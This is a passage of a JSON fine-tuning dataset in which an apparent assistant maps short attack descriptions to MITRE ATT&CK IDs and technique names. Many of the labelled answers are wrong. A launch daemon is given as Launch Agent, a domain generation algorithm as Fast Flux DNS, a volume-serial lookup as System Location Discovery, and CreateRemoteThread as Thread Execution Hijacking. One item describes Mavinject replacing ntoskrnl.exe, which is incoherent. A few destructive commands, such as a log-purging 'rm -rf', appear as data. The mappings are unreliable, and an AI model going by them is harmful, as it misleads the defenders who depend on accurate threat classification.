            {
                "role": "user",
                "content": "The adversary modifies the 'WantedBy' target in a systemd unit to include their malicious service, causing it to start with the system."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts an active GoToMyPC session identifier from the client cache and reuses it to take over the remote session."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware retrieves the system's GPS coordinates through the Windows Location API to map the device's physical location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages a USB HID device to emulate keyboard input and dump system files onto the attached drive."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary installs a rootkit that modifies the kernel's init process to load malicious code."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a launch daemon that runs a backdoor whenever the system boots on macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing Windows Credential Guard weaknesses, the adversary creates and utilizes forged Kerberos tickets to bypass multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system is used to push a malicious DLL to other machines using the built‑in Windows \"xcopy\" utility over SMB."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat embeds a keylogger's code within the comment sections of a JavaScript file that appears to be a harmless web widget."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a service account as a delegate to a high-value user's email, enabling covert exfiltration of communications."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables Windows Defender by stopping its service and deleting its registry keys."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtained a legitimate code signing certificate by posing as a vendor and submitting a fraudulent request to a public CA."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages multi-threaded login attempts to overwhelm the authentication service."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker collects logs from the system's log directory and uploads them to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys custom scripts that scrape search engine results for the company's domain name to identify exposed assets."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the Snowflake account API to list all role groups and associated users."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious LaunchAgent plist file in ~/Library/LaunchAgents to execute a backdoor binary at user login."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a zero‑day vulnerability in a popular PDF reader to execute code when a victim opens a crafted document."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a browser plug‑in vulnerability to capture and forward session tokens from the victim's browser to the attacker’s infrastructure for replay attacks."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed a man‑in‑the‑middle attack on a certificate issuance process to obtain a valid code signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leverages the Windows Service Control (SC) tool to set the service start type to automatic for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet performs a TCP reset flood, sending forged TCP reset packets to terminate legitimate connections and disrupt service."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a zero‑day in AD, the threat actor created a forged trust relationship to a malicious forest, bypassing network segmentation."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs a mail server data dump by exploiting a CVE in the mail daemon to read raw mail files."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group conducts keyword searches on search engines to identify unprotected web assets belonging to the adversary's target."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code harvests stored web browser passwords from Google Chrome's local database."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware sets up an Outlook rule to launch a hidden executable each time Outlook starts, leveraging the Office Application Startup technique for persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploits a vulnerable driver to read the system's flash ROM and extract firmware build numbers."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used the Azure REST API to change the configuration of an existing App Service, inserting a web shell for remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes a custom packer that adds junk instructions and reorders code blocks to impede reverse engineering."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the campaign, the threat actor used Mavinject to replace the legitimate kernel driver (ntoskrnl.exe) with a malicious version, executing code via a trusted binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a custom implant that performs rapid domain generation algorithm (DGA) to create a large number of pseudo-random domain names for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs AS-REP roasting by targeting service accounts without pre-authentication to obtain Kerberos ticket hashes that can be cracked later."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installs a service that monitors the local Exchange mail store and periodically uploads new messages to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copy sensitive user data from the compromised host's file system to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed a cloud management console through a default account that was never removed after provisioning."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload displays false firewall breach warnings, causing administrators to lower rule thresholds."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor disables user account password change enforcement via Group Policy to maintain compromised credentials."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks a domain used for public APIs and injects malicious code into API responses."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool extracts browser passwords saved in the macOS Keychain for Chrome and Safari."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages RegSaveKey to copy the SAM file and then extracts credentials offline."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the command `net group /domain` to enumerate all domain groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates a helper utility and then stages it on a neighboring host using the Windows \"copy\" command over the network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor used \"docker run\" to start a new container with a backdoor image on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Server Software Component: Terminal Services DLL technique by injecting a malicious library into the RDP host process to execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool sends ARP replies that mimic normal network discovery, embedding hidden instructions."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the group plants a stolen SSL/TLS certificate in the server's trusted store to intercept encrypted traffic."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts configuration files from the victim's system to gather credentials and network settings."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module issues 'rm -rf /var/log/*.log' to purge all system logs on the target."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stages data by writing it to a named pipe or local file before network transmission."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors enumerate the server’s hard drive models and firmware versions using smartctl."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker overwrites the existing system image with a malicious one to maintain long-term access."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary edits a shared HTML page on an internal wiki, inserting JavaScript that steals credentials from visitors."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script enumerates the host's file system to locate the Windows directory and extracts the system volume serial number."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets up an encrypted SSH tunnel to forward commands and steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following a phishing attack, the threat actor adds their SSH key to the target’s authorized_keys."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious entity used a compromised SSL certificate for the victim's domain to perform man‑in‑the‑middle attacks on HTTPS traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials for a VMware vSphere environment allowed the attacker to add virtual machines with backdoor access."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell to query the Credential Store for saved domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A bootkit is installed that loads a malicious payload during the boot process, allowing the attacker to gain control before the OS initializes."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a Linux 'blkdiscard' command to deallocate all space on the SSD, erasing data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query public vulnerability databases such as the NVD or CVE Details to discover known software weaknesses."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromised a trusted software repository, uploading a trojanized version of a popular utility that users download and execute."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates the authentication flow by injecting code that automatically approves MFA challenges for compromised accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary extracts the KRBTGT account hash from a domain controller and uses it to create a forged Kerberos ticket granting ticket, allowing unrestricted access to any domain resource."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a compromised FTP account to replace the site's image assets with defaced graphics."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the AT scheduler to run a PowerShell payload at system startup, bypassing normal user login procedures."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team purchased a botnet‑as‑a‑service package, enabling them to launch large‑scale DDoS attacks against targets."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker deploys a Python script that parses the output of \"rpm -qa\" to enumerate Red Hat packages on the target."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware resolves a list of algorithmically generated domains that change nightly."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker escalates privileges by changing the UID of a low‑privileged account to 0 on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Windows API CreateRemoteThread to hijack a running process and run malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a Windows Event Log trigger that executes a C2 communication routine when a failed login attempt is logged."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a third‑party API to translate the compromised machine's IP address into city and country information."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending three ICMP echo requests followed by a TCP FIN packet to a hidden port, the attacker signals the compromised host to activate a hidden service."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor sends a .gif attachment that exploits a known vulnerability in the image viewer, causing the user’s system to execute a PowerShell payload after the image is opened."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor queries the public community string of SNMP-enabled devices to retrieve configuration information from the MIB."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
